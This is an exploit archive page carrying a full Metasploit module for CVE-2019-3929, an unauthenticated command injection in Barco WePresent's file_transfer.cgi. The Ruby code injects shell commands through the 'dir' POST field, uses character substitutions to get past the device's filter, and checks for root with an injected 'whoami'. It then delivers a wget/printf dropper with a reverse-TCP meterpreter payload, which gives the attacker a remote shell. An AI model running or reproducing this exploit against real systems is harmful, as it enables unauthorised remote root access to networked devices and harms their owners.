exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Barco WePresent file_transfer.cgi Command Injection

Barco WePresent file_transfer.cgi Command Injection
Posted Jan 14, 2020
Authored by Jacob Baines | Site metasploit.com

This Metasploit module exploits an unauthenticated remote command injection vulnerability found in Barco WePresent and related OEM'ed products. The vulnerability is triggered via an HTTP POST request to the file_transfer.cgi endpoint.

tags | exploit, remote, web, cgi
advisories | CVE-2019-3929
SHA-256 | 30e838ce81c07ffc6eb59ae667a49dfa96e48b0d99660dc1f80dedd7f8c19b0b

Barco WePresent file_transfer.cgi Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => "Barco WePresent file_transfer.cgi Command Injection",
'Description' => %q(
This module exploits an unauthenticated remote command injection
vulnerability found in Barco WePresent and related OEM'ed products.
The vulnerability is triggered via an HTTP POST request to the
file_transfer.cgi endpoint.
),
'License' => MSF_LICENSE,
'Author' => 'Jacob Baines', # @Junior_Baines'
'References' =>
[
['CVE', '2019-3929'],
['EDB', '46786'],
['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']
],
'DisclosureDate' => "Apr 30, 2019",
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }
}],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'CmdStagerFlavor' => ['printf', 'wget'],
'Type' => :linux_dropper]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'printf',
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}))
end

def filter_bad_chars(cmd)
cmd.gsub!(/;/, 'Pa_Note')
cmd.gsub!(/\+/, 'Pa_Add')
cmd.gsub!(/&/, 'Pa_Amp')
return cmd
end

def send_command(cmd, timeout)
vars_post = {
file_transfer: 'new',
dir: "'#{filter_bad_chars(cmd)}'"
}

send_request_cgi({
'uri' => '/cgi-bin/file_transfer.cgi',
'method' => 'POST',
'vars_post' => vars_post
}, timeout)
end

def check
check_resp = send_command(";whoami;", 5)
unless check_resp
return CheckCode::Unknown('Connection failed.')
end

if check_resp.code == 200
check_resp.body.gsub!(/[\r\n]/, "")
if check_resp.body == "root"
return CheckCode::Vulnerable
end
end

CheckCode::Safe
end

def execute_command(cmd, _opts = {})
send_command(";(#{cmd})&", nil)
end

def exploit
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 128)
end
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close